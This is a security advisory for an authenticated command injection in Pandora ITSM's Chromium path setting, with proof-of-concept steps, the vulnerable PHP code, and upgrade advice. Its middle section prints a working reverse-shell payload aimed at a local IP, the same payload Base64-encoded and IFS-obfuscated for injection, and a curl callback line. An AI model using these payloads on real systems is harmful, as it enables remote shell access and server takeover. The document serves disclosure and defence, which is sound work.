CVE-2025-4678 — Pandora ITSM Chromium Path Command Injection

Overview

CVE-2025-4678 is an authenticated OS command injection vulnerability in Pandora ITSM. The chromium_path configuration value is used as an executable path during PDF generation but is not made shell-safe before it reaches PHP’s exec() function.

The issue was reproduced on Pandora ITSM Enterprise Edition 5.0.105 and follows the same unsafe command-construction pattern documented in the related Pandora FMS research for CVE-2024-12971.

Attack prerequisites

Exploitation requires a valid Pandora ITSM administrator account with permission to modify the global setup configuration. Command execution is triggered later when report or chart content is exported to PDF.

Proof of concept

1. Sign in to Pandora ITSM as an administrator.
2. Navigate to Setup → Setup.
3. Replace Chromium path with a command-injection payload.
4. Save the configuration.
5. Create a report or chart and export it to PDF to execute the configured Chromium command.

The original research used Base64 encoding and IFS to avoid spaces in the injected value.

bash -i >& /dev/tcp/192.168.201.8/4444 0>&1
echo -n "bash -i >& /dev/tcp/192.168.201.8/4444 0>&1"|base64 -w0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS44LzQ0NDQgMD4mMQ==

Injected value:

;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS44LzQ0NDQgMD4mMQ==|base64${IFS}-d|bash;

A simple callback such as ;curl${IFS}192.168.201.8; can also be used for non-interactive validation.

Root cause

One vulnerable path is in /var/www/html/pandoraitsm/include/functions.php, in generator_chart_to_pdf(). The configured Chromium path is concatenated with --version and executed:

// Begin vulnerable code section
    $chromium_dir = io_safe_output($config['chromium_path']);
    $result_ejecution = exec($chromium_dir.' --version');
    if (empty($result_ejecution) === true) {
        if ($params['return_img_base_64']) {
            $params['base64'] = true;
// End vulnerable code section

A second path exists in /var/www/html/pandoraitsm/include/lib/Modules/Shared/Services/PDF.php, in generatePDF():

// Begin vulnerable code section
  public function generatePDF(
    array $items,
    ?array $options = [],
    ?array $optionsPDF = null
  ) {
    global $config;

    // If not install chromium avoid 500 convert tu images no data to show.
    $chromium_dir = io_safe_output($config['chromium_path']);
    $result_ejecution = exec($chromium_dir.' --version');
    if (empty($result_ejecution) === true) {
      $message_error = __('chromium is not installed').', ';
      $message_error .= __('To be able to create images of the graphs for PDFs, please install the chromium extension. >
      $message_error .= '<a href="https://www.chromium.org/getting-involved/download-chromium/" target="_blank">';
      $message_error .= __('Info chromium');
      $message_error .= '</a>';
      throw new InvalidArgumentException($message_error);
      return;
    }
// End vulnerable code section

In both cases the application treats an administrator-controlled configuration value as executable shell input. io_safe_output() does not provide shell argument escaping, so metacharacters remain meaningful to the shell.

Impact

An administrator can turn a persistent application setting into arbitrary command execution on the Pandora ITSM server. The payload executes when PDF-generation functionality evaluates the configured Chromium binary.

Remediation

Upgrade to Pandora ITSM 5.0.106 or later.

References

• CVE-2025-4678

Credits

Discovery: h00die-gr3y.